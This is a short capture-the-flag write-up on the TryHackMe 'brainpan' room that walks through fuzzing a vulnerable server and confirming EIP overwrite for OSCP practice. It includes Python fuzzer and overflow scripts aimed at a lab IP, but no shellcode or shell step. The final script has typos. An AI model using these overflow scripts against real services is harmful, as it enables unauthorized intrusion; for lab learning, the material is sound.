Tryhackme: brainpan [hard] {Buffer overflow, OSCP}

Shelldon

19 июн. 2022 г.3 мин. чтения

In this post we will talk about buffer overflows.

This room helps you learn buffer overflow and preparing to OSCP.

#1. Starting our exe file with wine (in Linux).

As you can see, it is server, that wait connection from client. Use nc (netcat) and port 9999 to connection.

We should find the password. But it is not reversing challenge, so let's paste a lot of "A". If program will crashed, we know, that vulnerability is buffer overflow.

Yes there is buffer overflow vulnerabilty.

Let's use debugger (I am using Immunity debugger) and find the size of buffer.

By default debugger stopped and in "Paused". You must press F9 or click the start button.

Let's create a fuzzer scropt to find size of buffer.

#2. Fuzzer script:

import socket
import time
import sys


buf = b'A' * 100  #chars 

while True:  #loop
    try: 
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  #socket
        s.connect(('192.168.1.15', 9999))   #connect function
        s.recv(1024)   #receive 1024 bytes
        print(f'[*] FUZZING with {str(len(buf))} bytes')  #to know how many bytes we are fuzzing
        s.send(buf)  #sending bytes
        buf += b'A' * 100   #increasing our buf
        s.close()   #closing connection
        time.sleep(1)   #sleep 1 sec
    except:
        print('[!] ERROR')   #if error in connection and i.c. we will see error message
        sys.exit(0)   #for exit

Change IP address!

#3. Fuzzing

Let's run this python script and see how many bytes buffer can accept.

Fuzzer stoped at 600 bytes. So we know, that buffer can accept <= 600 bytes.

Debugger crashed too.

I used cyclic pattern to find exac size of buffer.

To use cyclic, you should install pwntools library in python Command: pip3 install pwn

#4. Exploit script:

import socket
import time
import sys


cyclic = b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaaf'



try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('192.168.1.15', 9999))
    s.recv(1024)
    print('[*] Sending cyclic')
    s.send(cyclic)
    s.close()
    time.sleep(1)
    
except:
    print('[!] ERROR')
    sys.exit(0)

Change IP address!

DO NOT FORGET RESTART DEBUGGER AND RUN IT!!!!

RESTART: CTRL + F2 RUN: F9

#6. Running exploit script

After starting exploit script, we can see, that debugger has crashed.

EIP -> Instruction Pointer. This registor contains the address of the next instruction to be executed.

ESP -> Stack Pointer. This register contains the pointer to the stack

EBP -> Base Pointer. This register contains the base address of the function’s frame

Let's copy the EIP value and find the size of buffer.

In stack values locates in reverse order. So "faag" is "gaaf".

Modify our exploit.

import socket
import timt
import sys


# cyclic = b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaaf'

buf = b'A' * 520
EBP = b'B' * 4
EIP = b'CCCC'


payload = buf + EBP + EIP

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('192.168.1.15', 9999))
    s.recv(1024)
    print('[*] Sending payload')
    s.send(payload)
    s.close()
    time.sleep(1)
    
except:
print('[!] ERROR')
sys.exit(0)